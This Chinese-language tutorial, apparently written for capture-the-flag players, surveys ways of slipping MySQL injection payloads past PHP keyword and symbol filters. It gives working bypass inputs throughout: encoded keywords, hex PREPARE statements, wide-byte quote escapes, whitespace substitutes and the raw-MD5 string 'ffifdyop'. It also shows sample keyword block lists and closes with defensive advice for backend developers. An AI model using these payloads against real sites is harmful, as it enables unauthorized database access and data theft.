SQL注入过滤方法总结
Exschawasion · · 科技·工程
引子
本文主要基于 MySQL 的注入。阅读本文需要您至少掌握 SQL 基本的标准语法(至少能够熟练使用 SELECT
、INSERT
、UPDATE
及其各常用子句)及 PHP 基本语法和函数特性等。
假设某网站的登录系统工作方式如下:用户输入账户和密码,前端将 username
和 password
传递给后端,而后端用如下方式拼接字符串(为方便理解,使用 C++ 语法):
query = "SELECT * FROM users WHERE username="
+ "'" + username + "'"
+ " AND password="
+ "'" + password + "'";
正常情况下,用 Alice
作为用户名、123456
作为密码,拼接出的查询语句如下:
SELECT * FROM users WHERE username='Alice' AND password='123456'
但是,如果使用 Alice' --
作为用户名,拼接出的查询语句如下:
SELECT * FROM users WHERE username='Alice' --' AND password='123456'
双减号(即 --
) 为注释符,会注释掉后面的字符。这意味着 WHERE 子句条件变为了 username='Alice'
,缺少了对密码的检查,因此可以使用任意密码登录 Alice 的账号。更进一步地,如果使用 Alice' OR 1=1 --
作为用户名,拼接出的查询语句如下:
SELECT * FROM users WHERE username='Alice' OR 1=1 --' AND password='123456'
查询中,1=1
是一个恒成立条件,则数据库会返回所有行。
如上,后端开发人员将前端传入的请求参数未经过足够安全的过滤直接拼接到查询字符串中,使得最终的查询语句出现期望之外的语义,此类缺陷即为 SQL 注入。
常见的 SQL 注入可以根据回显情况分为两大类,再细分为多种:
-
回显注入:此类注入会向客户端返回查询结果。
-
报错注入:数据库的报错会直接回显到客户端,此类注入能够提供很多有效信息(请注意因果关系:报错注入的前提是注入,单纯报错不意味着注入);
-
联合查询注入:能够使用
UNION
联合查询使得查询的结果在正常结果上有额外信息;
-
-
盲注:服务器端会过滤报错信息。
-
布尔盲注:大部分情况下,服务端执行查询之后,查询成功或者失败返回的信息是有差别的(如:查询成功跳转到某页面,查询失败跳转回主页)。这种情况下,可以通过特殊构造请求,多次查询获取足够信息量(相当于用
0
和1
逐比特获取自己所需要的信息); -
时间盲注:服务端不管查询成功与否,返回的消息都没有区别。只不过,由于报错时服务端可能会额外进行一些操作(比如输出日志),使得查询失败时服务端的响应速度略微慢了一点,此时可以通过分析请求用时来猜测本次查询是否成功,然后用类似布尔盲注的方式。
-
一些较为高级的注入方式:
- 假盲注:有时候可以通过注入进行 DNS 请求,有条件的话可以从 DNS 服务器上看到服务端的报错信息,也就从盲注变为了回显注入;
- 双重注入:在服务端的逻辑比较复杂的情况下(比如进行两次 SQL 查询,第一次的结果作为第二次的输入),需要特殊构造查询,才能对同时对两次查询进行注入(此类题目本身具有较高的难度,一般出题方会提供提示)。
然而,单纯知道各类注入方式远远不够,因为出题人会进行一些防护以限制解题思路。最常见防护手段为过滤敏感词和符号。因此,选手需要掌握多种注入方式才能绕开过滤。
常见过滤:关键词
直接过滤
最常见的过滤方式是将关键词过滤,比如 UNION
等。可能的代码如下:
function filter($query) {
$keywords = ['UNION', 'AND', 'SELECT'];
return str_replace($keywords, '', $query);
}
事实上,MySQL 不区分关键字的大小写,此时使用 union
代替 UNION
也可以绕过。
单次过滤
str_ireplace
函数是不区分大小写的,改进后的过滤代码为:
function filter($query) {
$keywords = ['UNION', 'AND', 'SELECT'];
return str_ireplace($keywords, '', $query);
}
此时仍然可以绕过,因为它只是把关键字移除了(替换为空串)——可以使用 selSELECTect
来绕过,这样一来 SELECT
被替换之后将会剩下 select
,仍然拼接出了所需关键字。
另外,对 MySQL 来说,!
、&&
和 ||
是可以代替 NOT、AND 和 OR 关键字的。
- 过滤 WHERE
有时候需要登录到特定账户上,但是 WHERE 关键字被过滤了。此时可以通过 LIMIT 和 OFFSET 子句配合,一条一条地找到需要的用户:
SELECT * FROM users LIMIT 1 OFFSET 1
把 OFFSET 的值从 1 开始枚举即可实现依次登录每个用户。
- 过滤 WHERE 和 LIMIT
此时可以用聚合子句,GROUP BY 和 HAVING 配合:
SELECT * FROM users GROUP BY username HAVING username='Alice'
- 过滤 WHERE 和 LIMIT 和 GROUP BY
用聚合函数吧,只在理论上见过解决办法,实战还没遇到过。
多次过滤
再次改进,对查询字符串循环替换,直到没有关键字出现:
function filter($query) {
$keywords = ['UNION', 'AND', 'SELECT'];
do {
$tmp = $query;
foreach ($keywords as $keyword) {
$query = str_ireplace(trim($keyword), '', $query);
}
} while ($tmp !== $query);
return $query;
}
此时可以通过十六进制字符表示法绕过,即 \x
绕过。虽然 \x
大部分时候用于表示特殊字符,但是它完全可以用作表示普通 ASCII 字符。例如字母 t
的 ASCII 值是 0x54,则可以用 SELEC\x54
来替代 SELECT
。
反斜杠过滤
如果连反斜杠 \
也进入过滤名单了呢?
function filter($query) {
$keywords = ['UNION', 'AND', 'SELECT', '\\'];
do {
$tmp = $query;
foreach ($keywords as $keyword) {
$query = str_ireplace(trim($keyword), '', $query);
}
} while ($tmp !== $query);
return $query;
}
此时还可以通过 URL 编码进行注入,用 %54
代替 \x54
一样能够达到效果。不过,为了能够正常传递百分号 %
,一般需要进行双重 URL 编码,即将 %54
再次编码为 %25%35%34
。
未完全过滤
MySQL 支持预处理语句,也就是提前存储语句,然后执行。需要使用的语法有:
PREPARE <name> FROM <query>
:将查询语句 query 取名为 name;EXECUTE <name> [ USING <args> ]
:执行名为 name 的语句,可以带参数(不过用处不大)。
有时候过滤的只是一些常见关键字,比如 SELECT
,PREPARE
这种不太常见的没被过滤,则仍然可以注入。可以写出这样的语句:
PREPARE a FROM concat("SELEC","T * FROM users"); EXECUTE a;
此处作为举例,用 concat
函数实现拼接字符串,实际上走到这一步,想绕开关键字检测的办法已经数不胜数。这里仅再举一例,用数字直接代替字符串:
PREPARE a FROM 0x53454c454354202a2046524f4d207573657273; EXECUTE a;
逐字节按 ASCII 码转化即可实现字符串和数字互转。
过滤一切
如果以上一切都被过滤了,单纯靠构造字符串已经很难绕开了。但也不是完全没有机会。
preg_match
绕过
PHP 有一个函数,检查字符串中是否符合特定正则表达式。如果有,则返回真;如果没有或者传入的参数不是字符串,则返回假。有的开发人员会使用如下代码检测,匹配了正则表达式 something
则认为是攻击:
$username = $_GET['username'];
if (preg_match('/something/', $username)) {
... // error
}
可以通过传入数组绕过。也就是构造 URL 为:
ctf.example.com/username[]=Alice
这样,PHP 在获取 username
参数时,将会获取到一个数组而不是字符串。对 preg_match
函数而言,参数不是字符串,会直接返回假。也就绕开了检测。
- 变音字符缺陷
在 MySQL 里,如果设置了 utf8_general_ci 或者 utf8_unicode_ci,德语变音字母 Ä、Ö、Ü、ẞ(注意这不是希腊字母 β,是德语字母 ss)等价于普通字母 A、O、U 和 S(对于 unicode_ci,等价于双写字母 SS)。
所以可以尝试用 UNIÖN
代替 UNION
,这样可以绕开 PHP 的检测逻辑,同时也能在 MySQL 上正常运行。
据说这是真题。
符号过滤
再次观察文章开头的例子:
query = "SELECT * FROM users WHERE username="
+ "'" + username + "'"
+ " AND password="
+ "'" + password + "'";
注意到,如果传入的参数是字符串,那需要在这个字符串开头和末尾手动添加单引号,也就是把 Alice
变为 'Alice'
。此时,如果攻击者要手动闭合单引号,也就是传入 Alice' --
,就会造成单引号被提前闭合,让后面的内容脱离字符串,变成语句的一部分。关键就是在提前闭合引号上。所以有的开发者选择过滤输入中的单引号。
如果 PHP 使用的编码是 GBK 之类的宽字节编码,此时可以尝试在单引号前添加魔术字符 %df
。之后 PHP 在编码时会把单引号重新编码,从而绕过过滤。
P.S. 本人在查阅资料的时候,发现这个缺陷似乎已经在 PHP 5.4 以上失效。
空格过滤
SQL 使用空格分隔各个语义元素。所以有的出题人会过滤空格。
首先尝试用双空格代替单空格(经验之谈),接着尝试制表符(Tab),然后再是回车符(URL 编码为 %0a
)。
事实上对 MySQL 而言,只要是空白字符(准确来说,ASCII 码不大于空格的)就可以当作空格,一些特殊的空字符也可以当做空格。另外,有的时候可以尝试用加号 +
代替。例如:
SELECT+id+FROM+admins
空白符过滤
如果要求所有字符都是可见字符,可以换成用注释符来代替空格。比如:
SELECT/**/id/**/FROM/**/admins
或者使用 URL 编码,也就是用 %20
代替空格,注意需要二次编码为 %2520
:
SELECT%2520id%2520FROM%2520admins
遇到注释符被过滤的情况,也可以换成其他注释符。 在一些版本中,也可以用反引号:
SELECT`id`FROM`admins
不只是反引号,在特殊情境下使用加号、感叹号也能达成类似效果。
更多字符过滤
如果保证符合语法,则只要是个符号就可以分隔:
SELECT VERSION()FROM admins;
包括:
SELECT(id)FROM admins
没错,科学计数法也能用来绕过:
SELECT 1e3FROM admins
这个注入方式一般不是用来构造语句的,而是调用数据库函数来获取必要信息的。
单引号过滤
上面说过了,如果是要提前闭合单引号,则使用 \x
或者 URL 编码即可;如果是要传入整个字符串,可以转化为十六进制数字。其实还有一种方式,使用 char
函数:
char(83,69,76,69,67,84,32,42,32,70,82,79,77,32,117,115,101,114,115)
等号过滤
注入有不少需要用等号作比较的时候。如果出题人过滤了等号,可以利用一些性质实现相同功能。例如,假设寻找 uid 为 3 的用户,可以使用:
SELECT * FROM users WHERE NOT (uid <> 3)
当然也可以:
SELECT * FROM users WHERE uid>2 AND uid<4
如果是字符串,可以用 LIKE 运算符,在没有通配符的情况下 LIKE 和等于号等价:
SELECT * FROM users WHERE username LIKE 'Alice'
用 strcmp
也行(有画蛇添足感):
SELECT * FROM users WHERE NOT (strcmp(username,'Alice')<>0)
MySQL 有一个特殊的关键字 REGEXP,用正则表达式去匹配,一般也能用:
SELECT * FROM users WHERE username REGEXP 'Alice'
还可以用 IN,作用是检查值是否在一个列表里:
SELECT * FROM users WHERE username IN ('Alice')
逗号绕过
布尔盲注时一般是逐个字符爆破的,所以需要用到 substr
函数。但是 substr
函数要传递多个参数,需要用逗号分隔,例如:
SELECT * FROM flags WHERE substr(flag,1,1)='a'
如果过滤了逗号,常规的用于传递参数的方法就失效了。一种就事论事的解决办法是,采用 LIKE 等效替代:
SELECT * FROM flags WHERE flag LIKE 'a%'
如果不行也可以用 FROM 和 FOR 代替:
SELECT * FROM flags WHERE substr(flag FROM 1 FOR 1)='a'
常用函数平替
有时候过滤掉的是常用的函数名,比如 substr
。其实可以用相同功能或类似的函数代替。
substr
:等效于mid
、substring
。还有left
和right
函数用于取左右子串,嵌套使用即可。sleep
:等效于benchmark
。group_concat
:等效于concat_ws
。ascii
:等效于hex
和bin
。区别仅在于十进制、十六进制和二进制。
特殊逻辑
本段资料来源:CSDN - sql注入各种绕过。
PHP 里有个函数 md5
计算哈希值。如果是 md5(text, false)
(第二个参数可省略,默认为 false)则返回字符串的 MD5 格式化后的十六进制字符串;如果是 md5(text, true)
,则直接返回字节流。
对于第二种方式,其实有个隐藏的漏洞:如果采用的仍然是直接字符串拼接:
query = "SELECT * FROM users WHERE username="
+ "'" + md5(username, true) + "'"
+ " AND password="
+ "'" + md5(password, true) + "'";
问题是返回的是字节流,字节流可能包含任何字符。这里提供两个字符串,可以看到字节流中包含了双引号和 OR 关键字。:
ffifdyop
:字节流是'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
,转化为字符串是'or'6]!r,b
;129581926211651571912466741651878684928
:字节流是\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
,转化为字符串是T0Do#'or'8
;
这里有个两个小特性。对于 a OR b
,如果 b
是字符串,则会尝试转化为数字,然后遵循 0 为假非 0 为真的原则转化为布尔值。转化为数字的办法是:取开头最长的数字段(比如 234aaa1
转化为 234),如果开头不是数字则为 0。第二个特性是:非法字符会被忽略。
收集具有特殊 MD5 的字符串还是很有用的。
作为后端开发者
如果你的角色是后端开发者:
- 不要到处给笑脸,攻击者都发动 SQL 注入尝试了还给笑脸——不要用“过滤”方案,改成“检测+报警”方案。上面提到的将关键字直接替换为空串的办法已经被证实有一堆可能的 bug。
- 双重检测,比如过滤特殊符号,可以在前端检测一次、后端检测一次。有时候用户真的错误输入了特殊符号,但是前端可以拦下来;如果传到后端还有特殊符号,那说明是攻击者(攻击者通常会绕过前端,直接用发包工具发出请求)。此时做好记录并且发出警告即可。
- 不要重复造轮。已经有现成的比较完善的框架,最不济也是现成的 WAF 检测方案,包括在线 WAF 检测。
CTF 乐趣真多
惯用过滤
最后,还是看看开头例子:使用 ' OR 1=1 --
,制造 1=1
恒成立条件。但是有时候过不去。
为什么呢?
出题人把 1=1
过滤了。
改成 2=2
或者 666=666
都行。
绷(